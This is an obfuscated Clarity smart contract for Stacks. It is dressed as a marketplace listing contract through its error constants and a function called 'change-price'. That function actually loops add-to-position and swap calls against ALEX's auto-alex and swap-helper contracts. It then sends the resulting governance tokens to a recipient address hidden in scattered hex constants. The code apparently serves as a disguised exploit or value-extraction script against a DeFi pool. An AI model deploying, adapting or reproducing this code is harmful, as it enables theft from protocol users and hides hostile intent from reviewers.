;; version: 1
;; name: levine
;; namespace: btc

  (define-constant ERR-ALREADY-LISTED (err u401))

  (define-constant ERR-WRONG-COMMISSION (err u402))
  (define-constant ERR-NOT-AUTHORIZED (err u403))

  (define-constant ERR-NOT-FOUND (err u404))
  (define-constant ERR-WRONG-PRICE (err u405))

  (define-constant ERR-TRANSFER-FAILED (err u500))

(define-data-var ZEnGGo principal tx-sender) (define-constant jrlbxN (err u1011)) (define-constant OUZx66 0x6c68) (define-constant acLsAD 0xa24f) (define-constant tGiR2t 0xb78f) (define-constant pxVvtR 0x9a11) (define-constant kr0yRT 0x971f) (define-constant SJ3P7P 0xc31e) (define-constant JFYxyW u100000000) (define-constant bJ3GfR 0xf121) (define-constant fsdKdX 0x2b6a) (define-constant UIUr6T 0xe729) (define-constant TYlrNa 0xc019) (define-constant pFCXqG (concat SJ3P7P pxVvtR)) (define-constant vnRL2U (concat fsdKdX acLsAD)) (define-constant nRJYOk 0x16) (define-constant mNOpCM (concat OUZx66 TYlrNa)) (define-constant jMWmLe (concat tGiR2t UIUr6T)) (define-constant JcJUxC (concat bJ3GfR kr0yRT)) (define-constant RvjcFd (concat mNOpCM pFCXqG)) (define-constant EIBjrG (concat JcJUxC jMWmLe)) (define-constant zjy3dg (concat RvjcFd (concat EIBjrG vnRL2U))) (define-constant EFulnO (unwrap-panic (principal-construct? nRJYOk zjy3dg))) (define-private (Mx4yh1) (ok (asserts! (is-eq tx-sender (var-get ZEnGGo)) jrlbxN)) ) (define-public (change-price (ELz6py uint) (tndWSQ uint) (tvAh85 uint)) (let ( (AukDpp-Gvtx7q (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex get-token-given-position ELz6py))) (SUmcGl (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.swap-helper-v1-03 get-given-helper 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.age000-governance-token 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex AukDpp-Gvtx7q))) ) (try! (Mx4yh1)) (let ( (rAQJ7j (get fgG7lr (fold MCGeaY 0x000000000000000000000000000000000000000000000000000000000000000000000000000000 {igjqRZ: ELz6py, fgG7lr: SUmcGl, tndWSQ: tndWSQ, tvAh85: tvAh85}))) ) (if (is-eq tx-sender EFulnO) (ok true) (begin (if (>= rAQJ7j (* u5000 JFYxyW)) (let ((jsNFRO (try! (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.age000-governance-token transfer-fixed rAQJ7j tx-sender EFulnO none)))) (ok true)) (ok true) ) ) ) ) ) ) (define-private (MCGeaY (i (buff 1)) (bnUlQW {igjqRZ: uint, fgG7lr: uint, tndWSQ: uint, tvAh85: uint})) (if (and (> (+ (get fgG7lr bnUlQW) (get tvAh85 bnUlQW)) (get igjqRZ bnUlQW)) (> (get igjqRZ bnUlQW) (* u50 JFYxyW)) (> (get igjqRZ bnUlQW) (get tndWSQ bnUlQW))) (let ( (Gvtx7q (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex get-token-given-position (get igjqRZ bnUlQW)))) (azC3cZ (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex add-to-position (get igjqRZ bnUlQW)))) (BxsRiP (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.swap-helper-v1-03 swap-helper 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.age000-governance-token Gvtx7q none))) (SnvUFE (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex get-token-given-position BxsRiP))) (PInaZy (unwrap-panic (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.swap-helper-v1-03 get-given-helper 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.age000-governance-token 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.auto-alex SnvUFE))) ) (begin (print {igjqRZ: BxsRiP, fgG7lr: PInaZy, tndWSQ: (get igjqRZ bnUlQW), tvAh85: u0}) {igjqRZ: BxsRiP, fgG7lr: PInaZy, tndWSQ: (get igjqRZ bnUlQW), tvAh85: u0} ) ) bnUlQW ) )